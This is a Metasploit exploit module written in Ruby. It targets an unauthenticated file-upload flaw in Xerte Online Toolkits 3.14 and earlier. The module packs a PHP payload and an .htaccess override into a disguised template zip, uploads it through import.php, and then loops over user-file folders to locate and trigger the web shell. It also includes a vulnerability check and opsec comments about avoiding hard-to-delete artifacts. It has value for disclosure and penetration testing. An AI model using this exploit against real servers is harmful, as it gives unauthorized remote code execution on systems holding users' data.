Xerte Online Toolkits 3.14 Template Import Shell Upload
##
# This module Xerte Online Toolkits 3.14 Template Import Shell Upload
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Xerte Online Toolkits Arbitrary File Upload - Unauthenticated Template Import',
'Description' => %q{
This module exploits an authentication bypass allowing arbitrary
file upload in versions 3.14 and earlier to upload and execute a shell.
Specifically, this targets /website_code/php/import/import.php
OPSEC
This module results in directories being created and database entries which can
not easily be cleaned up automatically.
},
'License' => MSF_LICENSE,
'Author' => [
'Brandon Lester',
],
'References' => [
['URL', 'https://blog.haicen.me/posts/xerte-online-toolkits/'],
['URL', 'https://www.xerte.org.uk/index.php/en/news/blog/80-news/357-xerte-3-13-en-3-14-important-security-update-now-available']
],
'Privileged' => false,
'Targets' => [
[
'PHP', {
'Platform' => 'php',
'Arch' => ARCH_PHP
}
]
],
'DisclosureDate' => '2025-08-04',
'DefaultTarget' => 0,
'Notes' => {
'Reliability' => [REPEATABLE_SESSION],
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'The path of a xerte installation', '/xerteonlinetoolkits'])
]
)
end
def check
print_status('Performing check')
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'language', 'import_language.php')
})
if res&.code == 200
if res.body.include?('No valid language definition found in the file!')
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
return Exploit::CheckCode::Safe
end
def http_send_command(_cmd)
# using for loop with the range
for a in 1..100 do
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
})
next unless res&.code == 200
print_status("Found shell at #{a}")
register_file_for_cleanup(php_filename)
break
end
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'USER-FILES', "#{a}--Nottingham", 'media', php_filename)
})
end
def upload_payload_zip
# deliver the payload
zip = Rex::Zip::Archive.new
# add the payload to the zip archive, under a pre-defined location.
# this is cleaner opsec than the default languages directory, as that leaves difficult to delete artifacts.
# This has the added benefit of not needing to worry about the .htaccess restrictions.
zip.add_file("media/#{php_filename}", payload.encoded)
zip.add_file('media/.htaccess', htaccess_payload)
zip.add_file('data.xml', %q{
<learningObject targetFolder="site" language="" name="Project Title" theme="default">
<page linkID="PG1360232941652" name="Page Title" subtitle="Enter Page Subtitle">
<section linkID="PG1360232936371" name="This is section One"/>
</page>
</learningObject>
})
zip.add_file('mal-theme.info', %q{
name: mal-theme
display name: Flat: Black & Green
description: A Black and Green theme similar to the Apereo website colours e.g. Aztec header and footer, off white background, grey and green accents.
enabled: yes
preview: apereo.jpg
})
zip.add_file('template.xml', %q{
<learningObject editorVersion="3" targetFolder="Nottingham" name="Enter Project Title" language="" navigation="Linear" textSize="12" theme="xot1" themeIcons="false" displayMode="fill window" responsive="true" />
})
# add the zip archive to the post request
mime = Rex::MIME::Message.new
mime.add_part(zip.pack, 'application/zip', 'binary',
%(form-data; name="filenameuploaded"; filename="#{zip_filename}"))
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'website_code', 'php', 'import', 'import.php'),
'ctype' => "multipart/form-data; boundary=#{mime.bound}",
'data' => mime.to_s
)
end
def exploit
upload_payload_zip
print_status('Uploaded the zip')
http_send_command(payload.encoded)
end
def php_filename
@php_filename ||= Rex::Text.rand_text_alpha(8) + '.php'
end
def htaccess_payload
<<~PAYLOAD
<IfModule mod_rewrite.c>
RewriteEngine Off
</IfModule>
PAYLOAD
end
def zip_filename
@zip_filename ||= Rex::Text.rand_text_alpha(8) + 'mal-template.zip'
end
end